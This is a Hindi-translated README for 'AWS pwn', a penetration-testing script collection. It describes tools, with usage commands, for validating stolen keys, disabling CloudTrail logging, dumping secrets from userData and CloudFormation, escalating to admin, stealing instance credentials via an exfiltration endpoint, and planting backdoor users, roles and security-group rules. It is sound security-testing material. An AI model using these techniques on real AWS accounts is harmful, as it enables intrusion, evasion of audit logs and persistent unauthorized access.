AWS pwn
सारांश
यह AWS पेनिट्रेशन टेस्टिंग से संबंधित विभिन्न कार्यों को करने के लिए भयानक रूप से लिखे गए स्क्रिप्ट का संग्रह है। कृपया दुखी न हों यदि यह आपके लिए काम नहीं करता है। हो सकता है कि AWS बदल गया हो जबसे कोई टूल लिखा गया था या हो सकता है कि कोड खराब हो। किसी भी तरह, कृपया योगदान करने के लिए स्वतंत्र महसूस करें।
इस अधिकांश बकवास को Daniel Grzelak ने लिखा था लेकिन इसमें बहुत सारे योगदान हुए हैं, विशेष रूप से Mike Fuller का।
आवश्यकताएँ
pip install -r requirements.txt
यह भी सुनिश्चित करें कि आपने ~/.aws/credentials में अपने AWS क्रेडेंशियल्स सेट अप किए हों।
टोही
समझौता-पूर्व सूचना संग्रह से संबंधित कार्य।
- validate_iam_access_keys.py - एक्सेस कुंजी + सीक्रेट [+ सत्र] संयोजनों की TSV फ़ाइल दिए जाने पर, एक्सेस वैधता की जाँच करता है और प्रिंसिपल की पहचान जानकारी लौटाता है।
./validate_iam_access_keys.py -i /tmp/keys.txt -o /tmp/out.json
- validate_s3_buckets.py - प्रति पंक्ति एक शब्द वाली टेक्स्ट फ़ाइल दिए जाने पर, बकेट के अस्तित्व की जाँच करता है और बुनियादी पहचान जानकारी लौटाता है।
./validate_s3_buckets.py -i /tmp/words.txt -o /tmp/out.json
- validate_iam_principals.py - प्रिंसिपलों (जैसे user/admin, role/deploy) की टेक्स्ट फ़ाइल दिए जाने पर, दिए गए खाते में प्रिंसिपलों के अस्तित्व की जाँच करता है।
./validate_iam_principals.py -a 123456789012 -i /tmp/words.txt -o /tmp/out.json
- validate_accounts.py - खाता आईडी और खाता उपनामों की टेक्स्ट फ़ाइल दिए जाने पर, खातों के अस्तित्व की जाँच करता है।
./validate_accounts.py -i /tmp/accounts.txt -o /tmp/out.json
शोषण
ऐसी चीज़ें जो खाते में पैर जमाने में आपकी मदद करेंगी।
गुप्तता
ऐसी चीज़ें जो खाते से समझौता करने के बाद छिपे रहने में आपकी मदद कर सकती हैं।
- disrupt_cloudtrail.py - निर्दिष्ट तरीके से CloudTrail लॉगिंग को बाधित/अक्षम करने का प्रयास करता है।
./disrupt_cloudtrail.py -s
अन्वेषण
ऐसी चीज़ें जो यह समझने में आपकी मदद करती हैं कि आपने क्या हैक किया है।
- dump_account_data.sh - बहुत सारे सामान्य खाता-आधारित read/list/get/describe फ़ंक्शन को कॉल करता है और डेटा को दिए गए स्थान पर सहेजता है। बहुत शोरगुल वाला लेकिन समय-बिंदु स्नैपशॉट के लिए बढ़िया।
./dump_account_data.sh /tmp/
उन्नयन
ऐसी चीज़ें जो खाते में घूमने और एक्सेस के विभिन्न स्तरों को इकट्ठा करने में आपकी मदद करती हैं।
- dump_instance_attributes.py - खाते में प्रत्येक EC2 इंस्टेंस के माध्यम से जाता है और निर्दिष्ट इंस्टेंस विशेषताओं को प्राप्त करता है। सबसे अधिक उपयोग userData प्राप्त करने के लिए किया जाता है, जिसमें रहस्य होते हैं।
./dump_instance_attributes.py -u -o /tmp/
- dump_cloudformation_stack_descriptions.py - प्रत्येक मौजूदा स्टैक और पिछले 90 दिनों में हटाए गए प्रत्येक स्टैक के लिए स्टैक विवरण प्राप्त करता है। स्टैक विवरण में पैरामीटर में अक्सर पासवर्ड और अन्य रहस्य होते हैं।
./dump_cloudformation_stack_descriptions.py -o /tmp/data
- assume_roles.py - किसी फ़ाइल में या list-roles API द्वारा प्रदान की गई सभी भूमिकाओं (ARNs) को ग्रहण करने का प्रयास करता है।
./assume_roles.py -o /tmp/out.json
- add_iam_policy.py - किसी दिए गए उपयोगकर्ता, भूमिका या समूह में प्रशासक और सभी क्रिया नीति जोड़ता है। IAM putPolicy या attachPolicy विशेषाधिकारों की आवश्यकता है।
./add_iam_policy.py -u myuser -r myrole -g mygroup
- bouncy_bouncy_cloudy_cloud.py - दिए गए EC2 इंस्टेंस को रिबूट करता है और उसके userData को फिर से लिखता है ताकि आप मनमाना कोड चला सकें या अस्थायी इंस्टेंस प्रोफ़ाइल क्रेडेंशियल चुरा सकें।
./bouncy_bouncy_cloudy_cloud.py -i instance-id -e exfiltration-endpoint
स्थिरता
ऐसी चीज़ें जो खाते तक आपकी पहुँच बनाए रखने में मदद करती हैं।
- rabbit_lambda - एक उदाहरण Lambda फ़ंक्शन जो उपयोगकर्ता हटाने की घटनाओं पर प्रतिक्रिया करता है और हटाए गए उपयोगकर्ता की अधिक प्रतियां बनाता है।
- cli_lambda - एक Lambda फ़ंक्शन जो AWS CLI प्रॉक्सी के रूप में कार्य करता है और क्रेडेंशियल की आवश्यकता नहीं होती है।
- backdoor_created_users_lambda - एक Lambda फ़ंक्शन जो प्रत्येक नवनिर्मित उपयोगकर्ता में एक एक्सेस कुंजी जोड़ता है।
- backdoor_created_roles_lambda - एक Lambda फ़ंक्शन जो प्रत्येक नवनिर्मित भूमिका में एक विश्वास संबंध जोड़ता है।
- backdoor_created_security_groups_lambda - एक Lambda फ़ंक्शन जो प्रत्येक नवनिर्मित सुरक्षा समूह में एक दिया गया इनबाउंड एक्सेस नियम जोड़ता है।
- backdoor_all_users.py - खाते में प्रत्येक उपयोगकर्ता में एक एक्सेस कुंजी जोड़ता है।
- backdoor_all_roles.py - खाते में प्रत्येक भूमिका में एक विश्वास संबंध जोड़ता है। भूमिका ARN सेट करने के लिए फ़ाइल को संपादित करने की आवश्यकता है।
- backdoor_all_security_groups.py - खाते में प्रत्येक सुरक्षा समूह में एक दिया गया इनबाउंड एक्सेस नियम जोड़ता है। नियम सेट करने के लिए फ़ाइल को संपादित करने की आवश्यकता है।
बहिर्निष्कासन
ऐसी चीज़ें जो AWS तरीकों से डेटा निकालने और स्थानांतरित करने में आपकी मदद करती हैं।
विविध
अन्य चीज़ें जिन्हें वर्गीकृत करने के लिए मैं या तो मूर्ख था या बहुत आलसी।
- reserved_words.txt - उन शब्दों/टोकनों की सूची जिनका AWS में कुछ विशेष अर्थ है या जल्द ही कुछ विशेष अर्थ होने की संभावना है।
- endpoints.txt - AWS द्वारा उजागर किए गए API एंडपॉइंट्स की कुछ हद तक अद्यतित सूची।
- integrations.txt - उन सेवाओं की TSV जो भूमिकाओं या एक्सेस कुंजियों के माध्यम से AWS के साथ एकीकृत होती हैं और उनके खाता आईडी, डिफ़ॉल्ट उपयोगकर्ता नाम आदि।
- download_docs.sh - सभी AWS दस्तावेज़ों को wget करने की कमांड लाइन क्योंकि मैं मूर्ख हूं और हर बार इसे फिर से करने में समय बर्बाद करता हूं।
करने के लिए
- स्थिरता के लिए उपयोगकर्ताओं में पासवर्ड जोड़ें
- स्टैक संसाधन डंप करें
- MFA सत्यापित करें
- dump_account_data में और कॉल जोड़ें
- और लॉग विघटन विधियाँ जोड़ें
- CloudTrail से अच्छी चीज़ें निकालने के लिए एक CloudTrail पार्सिंग स्क्रिप्ट बनाएं
- S3 बकेट अनुमति गणक बनाएं
- डिस्क पर सामान्य स्थानों से AWS क्रेडेंशियल प्राप्त करने के लिए उपकरण बनाएं
- क्लोनिंग उपकरण बनाएं
- पासरोल का उपयोग करने वाला एक मूर्खतापूर्ण विशेषाधिकार वृद्धि उपकरण बनाएं
- कतारें सत्यापित करें
- सूचना विषय सत्यापित करें
- स्क्रिप्ट के अंदर स्थिरांक के बजाय तर्कों का उपयोग करने के लिए स्थिरता स्क्रिप्ट को ठीक करें